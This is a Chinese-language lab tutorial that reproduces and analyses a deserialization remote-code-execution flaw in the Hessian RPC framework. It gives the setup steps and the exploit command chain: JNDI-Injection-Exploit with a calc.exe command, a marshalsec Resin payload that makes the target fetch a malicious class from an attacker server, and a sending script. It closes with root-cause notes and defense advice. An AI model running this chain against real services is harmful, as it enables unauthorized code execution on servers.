Hessian反序列化RCE漏洞复现及分析
字数 1078 2025-08-18 11:39:15
Hessian反序列化RCE漏洞复现与分析教学文档
一、漏洞概述
Hessian是一个轻量级的RPC框架,基于HTTP协议传输并使用Hessian二进制序列化。该框架存在反序列化漏洞,可导致远程代码执行(RCE)。此漏洞自2017年POC公开后,最新版本hessian-4.0.60.jar仍受影响。
二、漏洞原理
Hessian反序列化机制类似于Java反序列化漏洞,当攻击者能够向Hessian服务发送特制的序列化数据时,可触发远程代码执行。漏洞核心在于HessianSkeleton处理客户端请求时缺乏有效的反序列化过滤机制。
三、环境搭建
1. 测试环境准备
- 使用最新版hessian jar包
- 部署HessianTest.war到tomcat/webapp/目录
- 启动tomcat服务
2. 验证环境
访问 http://127.0.0.1:8080/HessianTest/hessian,返回正常页面表示环境搭建成功。
四、漏洞利用步骤
1. 启动JNDI利用工具
使用JNDI-Injection-Exploit工具(项目地址:https://github.com/welk1n/JNDI-Injection-Exploit)
执行命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 127.0.0.1
参数说明:
-C:指定要执行的命令-A:监听地址
2. 生成Payload
使用marshalsec工具生成Hessian Payload:
执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://127.0.0.1:8180/ ExecTemplateJDK7 > hession
此命令将在当前目录生成名为"hession"的payload文件。
3. 发送Payload
使用hessian.py脚本发送序列化的payload到目标服务器:
执行命令:
python hessian.py
成功利用后,服务器会从JNDI-Injection-Exploit服务器下载恶意类并执行指定命令(如弹出计算器)。
五、技术分析
1. Hessian处理流程
- HessianServlet接收HTTP请求
- 调用HessianSkeleton的invoke方法
- 从数据流中读取并反序列化对象
2. 漏洞根源
关键问题在于:
- 缺乏反序列化黑白名单过滤机制
- 直接反序列化不可信数据
3. 请求包构造
通过分析Hessian协议格式,构造包含恶意序列化数据的请求包,利用Resin payload实现RCE。
六、防御建议
- 升级到最新安全版本(需确认是否有修复版本)
- 实现反序列化过滤机制
- 限制Hessian服务的访问权限
- 使用安全代理或WAF防护
七、工具下载
所有利用工具打包地址:[此处应提供实际下载链接]
注:本文仅供安全研究学习使用,请勿用于非法用途。